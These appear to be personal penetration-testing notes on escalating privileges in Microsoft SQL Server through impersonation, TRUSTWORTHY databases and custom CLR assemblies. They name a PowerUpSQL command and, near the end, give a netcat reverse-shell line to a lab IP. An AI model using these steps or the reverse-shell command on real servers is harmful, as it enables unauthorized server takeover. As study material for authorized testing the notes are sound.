Escalation

With sysadmin role membership, it's possible to obtain code execution on the Windows server hosting the SQL database. - if nothing found, try grap Get NTLMv2 hash of the service accounts

Impersonation

with PowerUpSQL
#OS admin to sysadmin via service account impersonation, then all PowerUpSQL commands can be run as a sysadmin.

Invoke-SQLImpersonateService -Verbose -Instance MSSQLSRV04\BOSCHSQL

Only users with the explicit Impersonate permission are able to use impersonation. This permission is not part of the default set of permissions for most users, but database administrators may introduce misconfigurations that can lead to privilege escalation. This permission is implied for sysadmin for all databases, and db_owner role members in databases that they own.

Login Level - EXECUTE AS LOGIN

If find that our unprivileged login can impersonate the sa login. This effectively gives us database server administrative privileges.

User Level - EXECUTE AS USER

Impersonation must have been granted to our user for a different user that has additional role memberships, preferably the sysadmin role.

A database user can only perform actions on a given database. This means that impersonation of a user with sysadmin role membership in a database does not necessarily lead to server-wide sysadmin role membership (default only sa = dbo to be server-wise sysadmin).

To fully compromise the database server, the database user we impersonate must be in a database that has the TRUSTWORTHY property set - msdb (the only native db that has this property, but custom databases may use it as well). The database owner (dbo) user has the sysadmin role on it.

Check which DB has such setting & its db owner, or turning it on

Custom Code Execution - TRUSTWORTHY (msdb)

If a database has the TRUSTWORTHY property set, it's possible to use the CREATE ASSEMBLY statement to import a managed DLL as an object inside the SQL server and execute methods within it.

Created a procedure with the custom assembly that executes commands, such that it can execute PowerShell reverse shell download cradle and run the shellcode without using native procedures.

Can also use nc.exe 192.168.119.120 443 -e cmd.exe for evasions. (need transfer to the linked server via the RCE first)

Last updated